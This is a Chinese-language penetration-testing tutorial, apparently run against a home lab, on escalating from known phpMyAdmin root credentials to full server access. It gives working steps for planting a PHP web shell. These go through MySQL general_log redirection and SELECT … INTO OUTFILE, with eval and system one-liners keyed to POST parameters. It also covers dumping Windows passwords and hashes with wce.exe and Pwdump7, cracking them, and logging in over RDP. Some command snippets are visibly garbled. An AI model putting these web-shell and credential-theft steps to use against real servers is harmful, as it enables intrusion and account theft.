關于phpMyadmin提權那些事

下面由phpMyAdmin教程欄目給大家介紹關于phpMyadmin提權那些事,希望對需要的朋友有所幫助!

關于phpMyadmin提權那些事

引言:在滲透測試過程中獲知到phpMyadmin的賬號密碼,如何進行提權呢?往下看,我今天和你說說phpMyadmin提權那些事。

0×00 定義

? ?? ???phpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的數據庫管理工具,讓管理者可用Web接口管理MySQL數據庫。

0×01 環境準備

目標:?Windows?Server?2003?Enterprise?x64?Edition????192.168.17.137攻擊機:?window7?192.168.17.132Php:5.45Mysql:?5.5.53Apache:?2.4

0×02??開始滲透

我們經過弱口令,爆破,目錄泄露等途徑已經獲知PhpMyadmin的賬號密碼是root??root。接下來我們就通過phpMyadmin來提權,盡可能貼近真實,多講思路。

a 收集有用信息

關于phpMyadmin提權那些事關于phpMyadmin提權那些事

如上圖所示,我們可以獲取到以下有用信息。

  • 1.操作系統是windows server 2003 x86
  • 2.服務器是Apache 2.4.32
  • 3.網站默認路徑是 E:phpStudyPHPTutorialWWW
  • 4.PHP版本是 5.45
  • 5.mysql版本是 5.5.53

b??檢測插入條件

在上面我們已經獲知了網站默認的路徑是E:phpstudyPHPTutorialWWW,這個時候我們肯定想插入一句話后門文件或者是導出shell。那如果我們需要使用以上兩種思路中的一種必須滿足一個前提條件“secure_file_priv”對應的值不能為空且必須為默認網站的路徑,所以我們必須提前檢測一下“secure_file_priv”的值。

phpMyadmin執行以下命令:

SHOW VARIABLES LIKE “secure_file_priv”;

結果如圖所示:

關于phpMyadmin提權那些事

從上圖得知值為空,如果我們這時導入一句話,肯定會失敗的,不信啊,那我們試試。

關于phpMyadmin提權那些事

報錯The MySQL server is running with the –secure-file-priv option so it cannot execute this statement,這是因為mysql對通過文件導入導出作了限制,默認不允許。默認value值為null,則為禁止,如果有文件夾目錄,則只允許改目錄下文件(測試子目錄也不行)。我們思考一下看看能否設置其的路徑為我們的默認網站路徑,這樣我們就可以導入一句話后門了。那我們試試吧。

關于phpMyadmin提權那些事

從圖得知這個變量是一個只讀變量無法動態更改,那應該是只能從配置文件中更改了。到這里發現陷入了一個胡同,那常規方式不行,我們可以去使用一些騷思路,利用log日志文件插入一句話。

c 轉換思路

我們首先需要檢測的是MySQL全局變量(general_log、general_log file)的值。

  1. general log 指的是日志保存狀態,一共有兩個值(ON/OFF)ON代表開啟 OFF代表關閉。
  2. general log file 指的是日志的保存路徑。

關于phpMyadmin提權那些事

從圖得知general_log默認是關閉的,log日志存放的位置是E:phpStudyPHPTutorialMySQLdata。

首先我們來理解一下開啟general_log?的作用,開啟它可以記錄用戶輸入的每條命令,會把其保存在E:phpstudyPHPTutorialMySQLdata下的一個log文件中,其實就是我們常說的日志文件。好,我們的利用的思路是開啟general_log之后把general_log_file的值修改為我們網站默認路徑下一個自定義的php文件中,然后我們通過log日志進行寫入一句話后門到上面去,然后再進一步利用。

具體命令是:

set?global?general_log?=?"ON";SET?global?general_log_file='E:/phpStudy/PHPTutorial/WWW/infos.php';

關于phpMyadmin提權那些事

關于phpMyadmin提權那些事

緊接著我們可以看到在網站根路徑下找到我們生成的偽日記文件infos.php。

關于phpMyadmin提權那些事

然后我們就得插入我們的一句話后門了。

select ‘’;

關于phpMyadmin提權那些事

我們可以嘗試使用菜刀連接,成功連接。

關于phpMyadmin提權那些事

d 獲取管理員密碼

0×00 直接獲取明文

我們上傳wce.exe獲取明文密碼。運氣賊好,直接獲取到明文(11位字母和數字混合的密碼)。如果不能直接獲取明文那就得走第二條獲取hash值然后解密了。

關于phpMyadmin提權那些事

0×01 獲取hash值

上傳Pwdump7.exe獲取hash值保存到password.txt文件中。獲取hash值可以選擇在線http://www.objectif-securite.ch/en/ophcrack.php跑,跑不出來就用Ophcrack導入彩虹表跑吧。

關于phpMyadmin提權那些事

關于phpMyadmin提權那些事

e 查看3389是否開啟

直接在菜刀終端輸入“netstat -an | find “3389″ 或者“netstat -an ”。

關于phpMyadmin提權那些事

發現3389沒開,但是3390就開了,我們嘗試連接一下。

f??登陸服務器

運行mstsc開啟遠程桌面。

關于phpMyadmin提權那些事

關于phpMyadmin提權那些事

輸入上面獲取到的賬號和密碼,成功登陸。
關于phpMyadmin提權那些事

最后肯定是要清楚痕跡的,但我這里就不寫了,寫的內容也是賊多了

0×03 擴展

上面演示了secure_file_priv值為空的情況,那么如果secure_file_priv不為空那我們該怎么辦?

a 配置my.ini文件(不對應網站根路徑)

打開mysq的配置文件my.ini,對secure_file_priv的值進行設置,然后重啟mysql。

secure_file_priv =??”E:/phpStudy/PHPTutorial/MYSQL/”

關于phpMyadmin提權那些事

關于phpMyadmin提權那些事

嘗試改變值,發現只是可讀,不能寫,那種情況無法寫入我們的一句話,因為其限制了導出路徑,無法把一句話寫入之后導出到我們的網站根目錄。

關于phpMyadmin提權那些事

關于phpMyadmin提權那些事


b 配置my.ini文件(對應網站根路徑)

打開mysq的配置文件my.ini,對secure_file_priv的值進行設置,然后重啟mysql。

secure_file_priv =??”E:/phpStudy/PHPTutorial/WWW/”

關于phpMyadmin提權那些事

然后我們嘗試插入一句話后門,成功插入。

關于phpMyadmin提權那些事

二話不說菜刀連接。

關于phpMyadmin提權那些事

關于phpMyadmin提權那些事

當然一句話還可以這樣插入。

CREATE?TABLE?`mysql`.`informationes`?(`inform`?TEXT?NOT?NULL);INSERT?INTO?`mysql`.`informationes`?(`inform`)?VALUES?('<?php  @eval($_POST[pass]);?>');SELECT?`inform`?from?`mysql`.`informationes`?into?outfile?'e:/phpStudy/PHPTutorial/WWW/infos.php';DROP?table?if?exists?`mysql`.`informationes`;(注意:?c:/phpStudy/PHPTutorial/WWW/為網站的絕對路徑)

c 導出具有命令權限的Shell的php文件

select ‘

’;system($_POST['yumu']);echo ’

’;?>’ into outfile ‘c:/phpStudy/PHPTutorial/WWW/test.php’;

關于phpMyadmin提權那些事

關于phpMyadmin提權那些事

0×04 總結

本文中的環境是除了沒上waf其他都是盡可能地貼近真實環境,模擬真實的環境給大家去分析和講解思路,希望大家有所收獲。

? 版權聲明
THE END
喜歡就支持一下吧
點贊8 分享